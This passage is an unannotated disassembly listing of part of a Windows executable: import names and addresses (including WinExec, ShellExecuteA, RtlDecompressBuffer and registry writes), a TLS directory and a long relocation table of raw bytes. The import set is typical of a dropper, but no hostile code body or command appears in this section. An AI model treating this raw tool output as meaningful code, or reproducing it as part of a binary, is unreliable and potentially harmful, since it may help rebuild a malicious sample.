dword_40024630 dd 774FEE36h dword_40024634 dd 77502A37h dd 0
dword_4002463C dd 7C802442h ; resolved to->KERNEL32.Sleep dd 0
dword_40024644 dd 7712ABCCh dword_40024648 dd 771251C8h dword_4002464C dd 77125214h dword_40024650 dd 7712AB11h dword_40024654 dd 77126BFFh dword_40024658 dd 77124D6Bh dword_4002465C dd 77124920h dword_40024660 dd 77124980h align 8
dword_40024668 dd 7C961329h ; resolved to->NTDLL.RtlDecompressBuffer align 10h
dword_40024670 dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA align 8
aOleaut32_dll db 'oleaut32.dll',0
align 4
aSysfreestring db 'SysFreeString',0
align 4
aSysreallocstri db 'SysReAllocStringLen',0
dd 79530000h, 6C6C4173h, 7453636Fh, 676E6972h, 6E654Ch
dd 61766461h, 32336970h, 6C6C642Eh, 0
aRegqueryvaluee db 'RegQueryValueExA',0
align 4
aRegopenkeyexa db 'RegOpenKeyExA',0
align 4
aRegclosekey db 'RegCloseKey',0
aUser32_dll db 'user32.dll',0
align 4
dd 65470000h, 79654B74h, 72616F62h, 70795464h, 65h, 74736544h
dd 57796F72h, 6F646E69h, 77h, 64616F4Ch, 69727453h, 41676Eh
dd 654D0000h, 67617373h, 786F4265h, 41h, 72616843h, 7478654Eh
dd 656B0041h, 6C656E72h, 642E3233h, 6C6Ch, 65470000h, 50434174h
dd 0
aSleep db 'Sleep',0
align 4
aVirtualfree db 'VirtualFree',0
dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 65470000h, 63695474h
dd 756F436Bh, 746Eh, 75510000h, 50797265h, 6F667265h, 6E616D72h
dd 6F436563h, 65746E75h, 72h, 43746547h, 65727275h, 6854746Eh
dd 64616572h, 6449h, 6E490000h, 6C726574h, 656B636Fh, 63654464h
dd 656D6572h, 746Eh, 6E490000h, 6C726574h, 656B636Fh, 636E4964h
dd 656D6572h, 746Eh, 69560000h, 61757472h, 6575516Ch, 7972h
dd 69570000h, 68436564h, 6F547261h, 746C754Dh, 74794269h
dd 65h, 746C754Dh, 74794269h, 576F5465h, 43656469h, 726168h
dd 736C0000h, 656C7274h, 416Eh, 736C0000h, 70637274h, 416E79h
dd 6F4C0000h, 694C6461h, 72617262h, 41784579h, 0
aGetthreadlocal db 'GetThreadLocale',0
dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 50746547h
dd 41636F72h, 65726464h, 7373h, 65470000h, 646F4D74h, 48656C75h
dd 6C646E61h, 4165h, 65470000h, 646F4D74h, 46656C75h, 4E656C69h
dd 41656D61h, 0
aGetlocaleinfoa db 'GetLocaleInfoA',0
align 4
dd 65470000h, 73614C74h, 72724574h, 726Fh, 65470000h, 6D6F4374h
dd 646E616Dh, 656E694Ch, 41h, 65657246h, 7262694Ch, 797261h
dd 69460000h, 6946646Eh, 46747372h, 41656C69h, 0
aFindclose db 'FindClose',0
align 4
aExitprocess db 'ExitProcess',0
dd 72570000h, 46657469h, 656C69h, 6E550000h, 646E6168h
dd 4564656Ch, 70656378h, 6E6F6974h, 746C6946h, 7265h, 65530000h
dd 6C694674h, 696F5065h, 7265746Eh, 0
aSetendoffile db 'SetEndOfFile',0
align 4
aRtlunwind db 'RtlUnwind',0
align 10h
aReadfile db 'ReadFile',0
align 4
aRaiseexception db 'RaiseException',0
align 4
dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h
dd 7A695365h, 65h, 46746547h, 54656C69h, 657079h, 72430000h
dd 65746165h, 656C6946h, 41h, 736F6C43h, 6E614865h, 656C64h
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aTlssetvalue db 'TlsSetValue',0
dd 6C540000h, 74654773h, 756C6156h, 65h, 61636F4Ch, 6C6C416Ch
dd 636Fh, 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h
dd 72657375h, 642E3233h, 6C6Ch, 65520000h, 7361656Ch, 434465h
dd 654D0000h, 67617373h, 786F4265h, 41h, 64616F4Ch, 69727453h
dd 41676Eh, 6F4C0000h, 63496461h, 416E6Fh, 65470000h, 73795374h
dd 4D6D6574h, 69727465h, 7363h, 65470000h, 73795374h, 6F6C6F43h
dd 72h, 44746547h, 43h, 72616843h, 7478654Eh, 41h, 72616843h
dd 654F6F54h, 416Dh, 33696467h, 6C642E32h, 6Ch, 65726E55h
dd 7A696C61h, 6A624F65h, 746365h, 65530000h, 78655474h
dd 6C6F4374h, 726Fh, 65530000h, 504F5274h, 32h, 42746553h
dd 646F4D6Bh, 65h, 42746553h, 6C6F436Bh, 726Fh, 65530000h
dd 7463656Ch, 656C6150h, 657474h, 65530000h, 7463656Ch
dd 656A624Fh, 7463h, 6F4D0000h, 6F546576h, 7845h, 65470000h
dd 78655474h, 74654D74h, 73636972h, 41h, 53746547h, 65747379h
dd 6C61506Dh, 65747465h, 72746E45h, 736569h, 65470000h
dd 6F745374h, 624F6B63h, 7463656Ah, 0
aGetdevicecaps db 'GetDeviceCaps',0
align 10h
aGetcurrentposi db 'GetCurrentPositionEx',0
align 4
aDeleteobject db 'DeleteObject',0
align 4
aDeletedc db 'DeleteDC',0
align 4
aCreatepenindir db 'CreatePenIndirect',0
align 4
aCreatepalette db 'CreatePalette',0
align 4
aCreatefontindi db 'CreateFontIndirectA',0
dd 72430000h, 65746165h, 73757242h, 646E4968h, 63657269h
dd 656B0074h, 6C656E72h, 642E3233h, 6C6Ch, 72570000h, 50657469h
dd 61766972h, 72506574h, 6C69666Fh, 72745365h, 41676E69h
dd 0
aWritefile db 'WriteFile',0
align 4
aWinexec db 'WinExec',0
dd 61570000h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h
dd 74h, 74726956h, 516C6175h, 79726575h, 0
aSleep_0 db 'Sleep',0
align 4
aSizeofresource db 'SizeofResource',0
align 4
dd 65530000h, 6C694674h, 696F5065h, 7265746Eh, 0
aSetevent db 'SetEvent',0
align 4
aResetevent db 'ResetEvent',0
align 10h
dd 65520000h, 69466461h, 656Ch, 754D0000h, 4269746Ch, 54657479h
dd 6469576Fh, 61684365h, 72h, 446C754Dh, 7669h, 6F4C0000h
dd 65526B63h, 72756F73h, 6563h, 6F4C0000h, 65526461h, 72756F73h
dd 6563h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 654C0000h
dd 43657661h, 69746972h, 536C6163h, 69746365h, 6E6Fh, 6E490000h
dd 61697469h, 657A696Ch, 74697243h, 6C616369h, 74636553h
dd 6E6F69h, 65470000h, 72655674h, 6E6F6973h, 417845h, 65470000h
dd 63695474h, 756F436Bh, 746Eh, 65470000h, 72685474h, 4C646165h
dd 6C61636Fh, 65h, 54746547h, 50706D65h, 41687461h, 0
aGetsystemdirec db 'GetSystemDirectoryA',0
dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6F725074h
dd 64644163h, 73736572h, 0
aGetmodulehandl db 'GetModuleHandleA',0
align 10h
aGetmodulefilen db 'GetModuleFileNameA',0
align 4
dd 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0
aGetlocaltime db 'GetLocalTime',0
align 4
aGetlasterror db 'GetLastError',0
align 4
aGetenvironment db 'GetEnvironmentVariableA',0
dd 65470000h, 73694474h, 6572466Bh, 61705365h, 416563h
dd 65470000h, 74614474h, 726F4665h, 4174616Dh, 0
aGetcurrentthre db 'GetCurrentThreadId',0
align 4
dd 65470000h, 49504374h, 6F666Eh, 72460000h, 65526565h
dd 72756F73h, 6563h, 72460000h, 694C6565h, 72617262h, 79h
dd 6D726F46h, 654D7461h, 67617373h, 4165h, 69460000h, 6552646Eh
dd 72756F73h, 416563h, 78450000h, 72507469h, 7365636Fh
dd 73h, 6D756E45h, 656C6143h, 7261646Eh, 6F666E49h, 41h
dd 65746E45h, 69724372h, 61636974h, 6365536Ch, 6E6F6974h
dd 0
aDeletecritical db 'DeleteCriticalSection',0
align 4
aCreatefilea db 'CreateFileA',0
dd 72430000h, 65746165h, 6E657645h, 4174h, 6F430000h, 69467970h
dd 41656Ch, 6F430000h, 7261706Dh, 72745365h, 41676E69h
dd 0
aClosehandle db 'CloseHandle',0
aAdvapi32_dll db 'advapi32.dll',0
align 4
aRegsetvalueexa db 'RegSetValueExA',0
align 4
dd 65520000h, 65755167h, 61567972h, 4565756Ch, 4178h, 65520000h
dd 65704F67h, 79654B6Eh, 417845h, 65520000h, 756C4667h
dd 654B6873h, 79h, 43676552h, 74616572h, 79654B65h, 417845h
dd 65520000h, 6F6C4367h, 654B6573h, 79h, 55746547h, 4E726573h
dd 41656D61h, 6C6F0000h, 74756165h, 642E3233h, 6C6Ch, 65470000h
dd 72724574h, 6E49726Fh, 6F66h, 79530000h, 65724673h, 72745365h
dd 676E69h, 33656C6Fh, 6C642E32h, 6Ch, 6E556F43h, 74696E69h
dd 696C6169h, 657Ah, 6F430000h, 74696E49h, 696C6169h, 657Ah
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aSleep_1 db 'Sleep',0
aOleaut32_dll_0 db 'oleaut32.dll',0
align 4
dd 61530000h, 72416566h, 50796172h, 664F7274h, 65646E49h
dd 78h, 65666153h, 61727241h, 74654779h, 756F4255h, 646Eh
dd 61530000h, 72416566h, 47796172h, 424C7465h, 646E756Fh
dd 0
aSafearraycreat db 'SafeArrayCreate',0
dd 61560000h, 6E616972h, 61684374h, 5465676Eh, 657079h
dd 61560000h, 6E616972h, 706F4374h, 79h, 69726156h, 43746E61h
dd 7261656Ch, 0
aVariantinit db 'VariantInit',0
aNtdll_dll db 'ntdll.dll',0
align 4
aRtldecompressb db 'RtlDecompressBuffer',0
aShell32_dll db 'shell32.dll',0
dd 68530000h, 456C6C65h, 75636578h, 416574h
_idata ends
; Section 6. (virtual address 00026000)
; Virtual size : 0000000C ( 12.)
; Section size in file : 0000000C ( 12.)
; Offset to raw data for section: 00026000
; Flags C0000000: Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Regular
; Segment permissions: Read/Write
_tls segment para public '' use32
assume cs:_tls
;org 40026000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
TlsStart dd 3 dup(0) ; DATA XREF: .rdata:TlsDirectoryo
_tls ends
; Section 7. (virtual address 00027000)
; Virtual size : 00000018 ( 24.)
; Section size in file : 00000018 ( 24.)
; Offset to raw data for section: 00027000
; Flags 40000040: Data Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 40027000h
TlsDirectory dd offset TlsStart
TlsEnd_ptr dd 4002600Ch
TlsIndex_ptr dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0 ; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
_rdata ends
; Section 8. (virtual address 00028000)
; Virtual size : 00001DDC ( 7644.)
; Section size in file : 00001DDC ( 7644.)
; Offset to raw data for section: 00028000
; Flags 42000040: Data Discardable Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_reloc segment para public 'DATA' use32
assume cs:_reloc
;org 40028000h
db 0
db 10h, 2 dup(0)
db 3Ch ; <
db 1, 2 dup(0)
db 0
db 30h, 0Ch, 30h
db 1Ch
a00h0l0p0t0x000 db '0<0H0L0P0T0X0\0`0d0p0}0±0µ0¹0Ñ0à0ä0',0
db 31h, 8, 31h
db 0Ch
db 31h, 10h, 31h
db 14h
db 31h, 18h, 31h
db 1Ch
db 31h, 20h, 31h
db 24h ; $
db 31h, 28h, 31h
db 42h ; B
db 31h, 4Ah, 31h
db 52h ; R
db 31h, 5Ah, 31h
db 62h ; b
db 31h, 6Ah, 31h
db 72h ; r
db 31h, 7Ah, 31h
db 82h ; ‚
db 31h, 8Ah, 31h
db 92h ; ’
db 31h, 9Ah, 31h
db 0A2h ; ¢
db 31h, 0AAh, 31h
db 0B2h ; ²
db 31h, 0BAh, 31h
db 0C2h ; Â
db 31h, 0CAh, 31h
db 0D2h ; Ò
db 31h, 0DAh, 31h
db 0E2h ; â
db 31h, 0EAh, 31h
db 0F2h ; ò
db 31h, 0FAh, 31h
db 2
db 32h, 0Ah, 32h
db 12h
db 32h, 1Ah, 32h
db 22h ; "
db 32h, 2Ah, 32h
db 32h ; 2
db 32h, 3Ah, 32h
db 42h ; B
db 32h, 4Ah, 32h
db 52h ; R
db 32h, 5Ah, 32h
db 62h ; b
db 32h, 6Ah, 32h
db 72h ; r
db 32h, 7Ah, 32h
db 82h ; ‚
db 32h, 8Ah, 32h
db 92h ; ’
db 32h, 9Ah, 32h
db 0C6h ; Æ
db 32h, 0CEh, 32h
db 0D6h ; Ö
db 32h, 0DEh, 32h
db 0E2h ; â
db 34h, 0F8h, 34h
db 9
db 35h, 2Ch, 35h
db 46h ; F
db 35h, 5Ch, 35h
db 6Bh ; k
db 35h, 72h, 35h
db 7Dh ; }
db 35h, 8Dh, 35h
db 0C2h ; Â
db 35h, 0D0h, 35h
db 0FDh ; ý
db 35h, 5, 36h
db 0Ah
db 36h, 2Fh, 36h
db 38h ; 8
db 36h, 4Bh, 36h
db 56h ; V
db 36h, 67h, 36h
db 80h ; €
db 36h, 0D0h, 36h
db 0D6h ; Ö
db 36h, 0DCh, 36h
db 0E7h ; ç
db 36h, 2Bh, 37h
db 42h ; B
db 37h, 51h, 37h
db 58h ; X
db 37h, 4, 38h
db 14h
db 38h, 2Ah, 38h
db 42h ; B
db 38h, 55h, 38h
db 62h ; b
db 38h, 7Fh, 38h
db 88h ; ˆ
db 38h, 0BEh, 38h
db 0C8h ; È
db 38h, 0E0h, 38h
db 0E6h ; æ
db 38h, 0FEh, 38h
db 16h
db 39h, 51h, 39h
db 67h ; g
db 39h, 0AEh, 39h
db 0CBh ; Ë
db 39h, 0D7h, 39h
db 0EAh ; ê
db 39h, 0F3h, 39h
db 0FAh ; ú
db 39h, 0, 3Ah
db 15h
db 3Ah, 21h, 3Ah
db 3Eh ; >
db 3Ah, 47h, 3Ah
db 85h ; …
db 3Ah, 0A7h, 3Ah
db 0Fh
db 3Bh, 55h, 3Bh
db 6Bh ; k
db 3Bh, 0C9h, 3Bh
db 6
db 3Ch, 1Fh, 3Ch
aPZSGI db 'P<Z<`<s=ƒ=›=',0
aO_Y?? db '>O>_>y>',0Bh,'?',1Bh,'?',0
db ' ',0
align 10h
aD:
unicode 0, <¤>,0
db 5Ah ; Z
db 30h, 63h, 30h
db 75h ; u
db 30h, 81h, 30h
db 8Ch ; Œ
db 30h, 0F2h, 32h
db 3
db 33h, 1Ch, 33h
db 2Fh ; /
db 33h, 4Ah, 33h
db 50h ; P
db 33h, 69h, 33h
db 76h ; v
db 33h, 7Eh, 33h
db 87h ; ‡
db 33h, 95h, 33h
db 0A2h ; ¢
db 33h, 0E7h, 33h
db 7
db 34h, 94h, 35h
db 21h ; !
db 36h, 2Dh, 36h
db 6Ch ; l
db 36h, 0A1h, 36h
db 0C1h ; Á
db 36h, 18h, 37h
db 6Eh ; n
db 37h, 9Dh, 37h
db 0B2h ; ²
db 37h, 5Ah, 38h
db 0BBh ; »
db 38h, 0D1h, 38h
db 0BFh ; ¿
db 39h, 0C5h, 39h
db 0E3h ; ã
db 39h, 5, 3Ah
db 10h
db 3Ah, 0E0h, 3Ah
db 0E4h ; ä
db 3Ah, 0EAh, 3Ah
db 0EEh ; î
db 3Ah, 0F8h, 3Ah
db 0Bh
db 3Bh, 0Fh, 3Bh
db 15h
db 3Bh, 19h, 3Bh
db 29h ; )
db 3Bh, 2Eh, 3Bh
db 53h ; S
db 3Bh, 7Eh, 3Bh
db 0B6h ; ¶
db 3Bh, 0BEh, 3Bh
db 0CBh ; Ë
db 3Bh, 0D1h, 3Bh
db 0DFh ; ß
db 3Bh, 0EEh, 3Bh
db 0FBh ; û
db 3Bh, 0Eh, 3Ch
db 26h ; &
db 3Ch, 42h, 3Ch
db 63h ; c
db 3Ch, 7Ch, 3Ch
db 95h ; •
db 3Ch, 0FAh, 3Ch
db 0Fh
db 3Dh, 1Ch, 3Dh
a48@DHLPT db '<=',0Dh,'>4>8><>@>D>H>L>P>T>',0
align 10h
dd 3000h, 68h, 30763069h, 30903085h, 30BF30B6h, 31D831AFh
dd 31E631DFh, 32CB32B6h, 334E32FEh, 33B03360h, 33E633B7h
dd 34DD348Ah, 367C35D4h, 36943683h, 36F036A0h, 38B3389Bh
dd 38E038C4h, 390938F8h, 3B5E3915h, 3BAD3B9Dh, 3BE13BC3h
dd 3C0F3BF7h, 3C5D3C24h, 3E133DB5h, 3F963F4Bh, 3FFE3FEAh
dd 4000h, 0A4h, 301C3006h, 30423034h, 30923076h, 30B2309Eh
dd 30CF30BCh, 312C30FFh, 31673135h, 31A53170h, 31CE31ACh
dd 3252321Dh, 330732C3h, 34433313h, 3472346Bh, 34AC348Ah
dd 34E834E0h, 351F34F3h, 35343529h, 35843545h, 35B1359Ah
dd 35EA35E6h, 35F435F0h, 360035F9h, 360E3606h, 36743619h
dd 36A8367Ch, 36D836B4h, 370736E2h, 371B3711h, 37293723h
dd 37523737h, 37713767h, 37953776h, 37BA379Ah, 37DA37CEh
dd 383D37F3h, 384B3846h, 387A386Dh, 39D139B5h, 3D4Fh, 5000h
dd 24h, 330732FEh, 3417340Eh, 3C793C0Fh, 3E553C8Ch, 3E913E73h
dd 3EF93EABh, 3F1Bh, 6000h, 268h, 30BD30B3h, 30DC30CCh
dd 313530E3h, 31863146h, 319F318Dh, 31C631BDh, 31D931D2h
dd 334A32E8h, 33633357h, 3374336Ah, 338D337Eh, 33B2339Fh
dd 33C233BAh, 33F233CAh, 342A341Ch, 3448342Fh, 34693458h
dd 3486347Ah, 3490348Bh, 349E3497h, 34BA34A8h, 34CA34C2h
dd 34DA34D2h, 34EA34E2h, 34FA34F2h, 350A3502h, 351A3512h
dd 352A3522h, 353A3532h, 354A3542h, 355A3552h, 356A3562h
dd 357A3572h, 358A3582h, 359A3592h, 35AA35A2h, 35BA35B2h
dd 35CA35C2h, 35DA35D2h, 35EA35E2h, 35FA35F2h, 360A3602h
dd 361A3612h, 362A3622h, 363A3632h, 364A3642h, 365A3652h
dd 366A3662h, 367A3672h, 368A3682h, 369A3692h, 36AA36A2h
dd 36BA36B2h, 36CA36C2h, 36DA36D2h, 36EA36E2h, 36FA36F2h
dd 370A3702h, 371A3712h, 372A3722h, 373A3732h, 374A3742h
dd 376B375Fh, 377B3773h, 37B2378Eh, 3862382Bh, 3981393Bh
dd 3A4F3A0Fh, 3ABC3A9Ah, 3ADE3AD6h, 3AF23AE6h, 3B023AFAh
dd 3B103B0Ah, 3B203B18h, 3B303B28h, 3B403B38h, 3B503B48h
dd 3B603B58h, 3B703B68h, 3B803B78h, 3B903B88h, 3BA03B98h
dd 3BB03BA8h, 3BC03BB8h, 3BD03BC8h, 3BE03BD8h, 3BF03BE8h
dd 3C003BF8h, 3C103C08h, 3C203C18h, 3C303C28h, 3C403C38h
dd 3C503C48h, 3C603C58h, 3C703C68h, 3C803C78h, 3C903C88h
dd 3CA03C98h, 3CB03CA8h, 3CC03CB8h, 3CD03CC8h, 3CE03CD8h
dd 3CF03CE8h, 3D003CF8h, 3D103D08h, 3D203D18h, 3D303D28h
dd 3D403D38h, 3D503D48h, 3D603D58h, 3D703D68h, 3D803D78h
dd 3D903D88h, 3DA03D98h, 3DB03DA8h, 3DC03DB8h, 3DD03DC8h
dd 3DE03DD8h, 3E003DECh, 3E0C3E08h, 3E143E10h, 3E1C3E18h
dd 3E243E20h, 3E363E28h, 3E683E48h, 3E743E70h, 3E7C3E78h
dd 3E843E80h, 3E8C3E88h, 3EA43E90h, 3ECC3EC4h, 3ED43ED0h
dd 3EDC3ED8h, 3EE43EE0h, 3EEC3EE8h, 3F203F00h, 3F2C3F28h
dd 3F343F30h, 3F3C3F38h, 3F443F40h, 3F583F48h, 3F803F78h
dd 3F883F84h, 3F903F8Ch, 3F983F94h, 3FA03F9Ch, 3FD03FB0h
dd 3FDC3FD8h, 3FE43FE0h, 3FEC3FE8h, 3FF43FF0h, 3FF8h, 7000h
dd 258h, 30303010h, 303C3038h, 30443040h, 304C3048h, 30543050h
dd 30683058h, 30903088h, 30983094h, 30A0309Ch, 30A830A4h
dd 30B030ACh, 30E030C0h, 30EC30E8h, 30F430F0h, 30FC30F8h
dd 31043100h, 31183108h, 31403138h, 31483144h, 3150314Ch
dd 31583154h, 3160315Ch, 31943174h, 31A0319Ch, 31A831A4h
dd 31B031ACh, 31B831B4h, 31CC31BCh, 31F431ECh, 31FC31F8h
dd 32043200h, 320C3208h, 32143210h, 32443224h, 3250324Ch
dd 32583254h, 3260325Ch, 32683264h, 327C326Ch, 32A4329Ch
dd 32AC32A8h, 32B432B0h, 32BC32B8h, 32C432C0h, 32F432D4h
dd 330032FCh, 33083304h, 3310330Ch, 33183314h, 332C331Ch
dd 3354334Ch, 335C3358h, 33643360h, 336C3368h, 33743370h
dd 33A83388h, 33B433B0h, 33BC33B8h, 33C433C0h, 33CC33C8h
dd 33E433D0h, 340C3404h, 34143410h, 341C3418h, 34243420h
dd 342C3428h, 34603440h, 346C3468h, 34743470h, 347C3478h
dd 34843480h, 34A03488h, 34C834C0h, 34D034CCh, 34D834D4h
dd 34E034DCh, 34E834E4h, 351834F8h, 35243520h, 352C3528h
dd 35343530h, 353C3538h, 35543540h, 357C3574h, 35843580h
dd 358C3588h, 35943590h, 359C3598h, 35CC35ACh, 35D835D4h
dd 35E035DCh, 35E835E4h, 35F035ECh, 360835F4h, 36303628h
dd 36383634h, 3640363Ch, 36483644h, 3650364Ch, 36883668h
dd 36943690h, 369C3698h, 36A436A0h, 36AC36A8h, 36C436B0h
dd 36EC36E4h, 36F436F0h, 36FC36F8h, 37043700h, 370C3708h
dd 37403720h, 374C3748h, 37543750h, 375C3758h, 37643760h
dd 37783768h, 37A03798h, 37A837A4h, 37B037ACh, 37B837B4h
dd 37C037BCh, 37E537D8h, 37FC37EDh, 38113809h, 384C382Ch
dd 38583854h, 3860385Ch, 38683864h, 3870386Ch, 38CC3874h
dd 38D438D0h, 38DC38D8h, 38E438E0h, 390838FCh, 3928390Ch
dd 39343930h, 393C3938h, 39443940h, 394C3948h, 39A83950h
dd 3E3D3E2Dh, 3E553E48h, 3E643E5Ah, 3E7F3E74h, 3E913E8Ch
dd 3F763F62h, 3F993F82h, 3FF33FA5h, 8000h, 70h, 301A3004h
dd 32D230BAh, 32F232E7h, 34653461h, 346D3469h, 34753471h
dd 347D3479h, 34853481h, 348D3489h, 34953491h, 349D3499h
dd 34A534A1h, 35783571h, 37E1363Ah, 3815380Dh, 3825381Dh
dd 3892382Dh, 38DC38C1h, 38E438E0h, 38EC38E8h, 3B663A29h
dd 3C863B7Bh, 3D273D15h, 3F113DCFh, 3F353F2Bh, 3F9Bh, 9000h
dd 88h, 321B3077h, 3432334Bh, 34B93468h, 355E34EAh, 35E335A8h
dd 367135F2h, 371636C3h, 378C3785h, 37CD37C9h, 37D537D1h
dd 37DD37D9h, 37E537E1h, 37ED37E9h, 37F537F1h, 37FD37F9h
dd 38053801h, 390838EEh, 398D3966h, 39B539A1h, 3A2539E6h
dd 3A4F3A3Ah, 3B503B3Ch, 3BD73B9Bh, 3C333C13h, 3C5B3C44h
dd 3CA13C8Eh, 3D093CD4h, 3D4C3D38h, 3D6D3D5Dh, 3D8C3D80h
dd 3E1A3DACh, 3F8E3E90h, 0A000h, 0B0h, 30E9302Dh, 3133312Eh
dd 31EE3178h, 3221320Fh, 32653260h, 32973273h, 337C32C7h
dd 33E03398h, 340333F6h, 341A3408h, 347E3466h, 34A83490h
dd 352F34D4h, 35583541h, 35BF356Ah, 361B35EDh, 365E364Ch
dd 36873675h, 392E37ECh, 394B3946h, 397A3957h, 39AC39A7h
dd 39EB39C6h, 3A573A1Dh, 3A873A61h, 3AC23AA3h, 3AFE3AD4h
dd 3B433B12h, 3B6C3B52h, 3BB93B7Eh, 3C013BD9h, 3CA13C6Ch
dd 3CCA3CBAh, 3CF23CE3h, 3D273D0Bh, 3E373D62h, 3E7C3E77h
dd 3EAE3E84h, 3EC83EBFh, 3F873F7Dh, 3FEC3FD1h, 3FF5h, 0B000h
dd 0FCh, 30B9308Ah, 31823148h, 32273210h, 32573249h, 3276325Eh
dd 3290327Dh, 32C732A8h, 32DB32CFh, 3339331Bh, 33733364h
dd 33DA3387h, 348033E1h, 34CE34B4h, 359934DDh, 35F535ABh
dd 361B3607h, 36913667h, 36D536C6h, 370036E4h, 3735372Eh
dd 3745373Fh, 3756374Ch, 3761375Bh, 376C3766h
dd 37773771h, 3784377Eh, 378F3789h, 379A3794h, 37A737A1h
dd 37BA37B2h, 37CF37C3h, 37DD37D5h, 37F237E6h, 380037F7h
dd 38123809h, 3824381Bh, 3855384Ch, 3864385Eh, 38803875h
dd 38BD3885h, 390438DBh, 393C391Eh, 39BB399Eh, 3A463A13h
dd 3B203A9Eh, 3B953B65h, 3BCB3BA7h, 3D793BDDh, 3DEA3DAAh
dd 3DFD3DEFh, 3E783E06h, 3EB73E8Eh, 3EE03EC5h, 3F043EE9h
dd 3F2A3F17h, 3F4E3F33h, 3F6A3F61h, 3F973F89h, 3FCE3FB6h
dd 3FEB3FD7h, 3FF9h, 0C000h, 1D4h, 302B300Dh, 305C304Dh
dd 308D306Ah, 30BE30AFh, 30D630CEh, 30F330EBh, 311D3110h
dd 320C31DCh, 32393225h, 32813277h, 332632FEh, 3376334Eh
dd 340A33EDh, 345F342Eh, 34753466h, 349A347Ch, 34DA34B7h
dd 34F534EAh, 350334FBh, 36E83508h, 39883984h, 3990398Ch
dd 39983994h, 39A0399Ch, 39A839A4h, 39B039ACh, 39B839B4h
dd 39C039BCh, 39C839C4h, 39D039CCh, 39D839D4h, 39E039DCh
dd 39E839E4h, 39F039ECh, 39F839F4h, 3A0039FCh, 3A083A04h
dd 3A103A0Ch, 3A183A14h, 3A203A1Ch, 3A283A24h, 3A303A2Ch
dd 3A383A34h, 3A403A3Ch, 3A483A44h, 3A503A4Ch, 3A583A54h
dd 3A603A5Ch, 3A683A64h, 3A743A70h, 3A803A7Ch, 3A8C3A88h
dd 3A983A94h, 3AA43AA0h, 3AB03AACh, 3ABC3AB8h, 3AC83AC4h
dd 3AD43AD0h, 3AE03ADCh, 3AEC3AE8h, 3AF83AF4h, 3B043B00h
dd 3B103B0Ch, 3B1C3B18h, 3B283B24h, 3B343B30h, 3B403B3Ch
dd 3B4C3B48h, 3B583B54h, 3B643B60h, 3B703B6Ch, 3B7C3B78h
dd 3B883B84h, 3B943B90h, 3BA03B9Ch, 3BAC3BA8h, 3BB83BB4h
dd 3BC43BC0h, 3BD03BCCh, 3BDC3BD8h, 3BE83BE4h, 3BF43BF0h
dd 3C003BFCh, 3C0C3C08h, 3C183C14h, 3C243C20h, 3C303C2Ch
dd 3C3C3C38h, 3C483C44h, 3C633C57h, 3C783C6Eh, 3C963C8Ch
dd 3CAA3CA0h, 3CBE3CB4h, 3CD23CC8h, 3CE63CDCh, 3CFB3CF0h
dd 3D103D05h, 3D253D1Ah, 3D3A3D2Fh, 3D4F3D44h, 3D5F3D59h
dd 3D6F3D69h, 3D833D79h, 3D983D8Eh, 3DAD3DA3h, 3DCA3DB8h
dd 3DE23DDAh, 3DF23DEAh, 3E8C3E56h, 3EC23E99h, 3F053EF8h
dd 3F643F2Eh, 3F9A3F71h, 3FDD3FD0h, 0D000h, 254h, 303C3006h
dd 30783049h, 30C830AEh, 313B30FDh, 31AD316Dh, 322331E1h
dd 324A3242h, 325A3252h, 329F3291h, 32AF32A4h, 32BA32B5h
dd 32CB32C5h, 32DB32D0h, 32E632E1h, 32F732F1h, 330732FCh
dd 3312330Dh, 3323331Dh, 33333328h, 333E3339h, 334F3349h
dd 335F3354h, 336A3365h, 337B3375h, 338B3380h, 33963391h
dd 33A733A1h, 33B733ACh, 33C233BDh, 33D333CDh, 33E333D8h
dd 33EE33E9h, 33FF33F9h, 340F3404h, 341A3415h, 342B3425h
dd 343B3430h, 34463441h, 34573451h, 3467345Ch, 3472346Dh
dd 359F347Dh, 35B835ABh, 35EE35EAh, 360A35F2h, 361C3618h
dd 36403638h, 36483644h, 3650364Ch, 36583654h, 3660365Ch
dd 36683664h, 3670366Ch, 36783674h, 3680367Ch, 36883684h
dd 3690368Ch, 36983694h, 36B4369Ch, 36D036CCh, 370436E4h
dd 3710370Ch, 37183714h, 3720371Ch, 37283724h, 3748372Ch
dd 37703768h, 37783774h, 3780377Ch, 37883784h, 3790378Ch
dd 37CC37ACh, 37D837D4h, 37E037DCh, 37E837E4h, 37F037ECh
dd 381037F4h, 38383830h, 3840383Ch, 38483844h, 3850384Ch
dd 38583854h, 38943874h, 38A0389Ch, 38A838A4h, 38B038ACh
dd 38B838B4h, 38D838BCh, 390038F8h, 39083904h, 3910390Ch
dd 39183914h, 3920391Ch, 395C393Ch, 39683964h, 3970396Ch
dd 39783974h, 3980397Ch, 39A43984h, 39CC39C4h, 39D439D0h
dd 39DC39D8h, 39E439E0h, 39EC39E8h, 3A2C3A0Ch, 3A383A34h
dd 3A403A3Ch, 3A483A44h, 3A503A4Ch, 3A703A54h, 3A983A90h
dd 3AA03A9Ch, 3AA83AA4h, 3AB03AACh, 3AB83AB4h, 3AF83AD8h
dd 3B043B00h, 3B0C3B08h, 3B143B10h, 3B1C3B18h, 3B3C3B20h
dd 3B643B5Ch, 3B6C3B68h, 3B743B70h, 3B7C3B78h, 3B843B80h
dd 3BB73BA9h, 3BDD3BC6h, 3C4B3C0Fh, 3C713C5Ah, 3CA73C99h
dd 3CCD3CB6h, 3D3B3CFFh, 3D613D4Ah, 3D973D89h, 3DBD3DA6h
dd 3E713DEAh, 3EA13E80h, 3EC73EB0h, 3EED3ED6h, 3F133EFCh
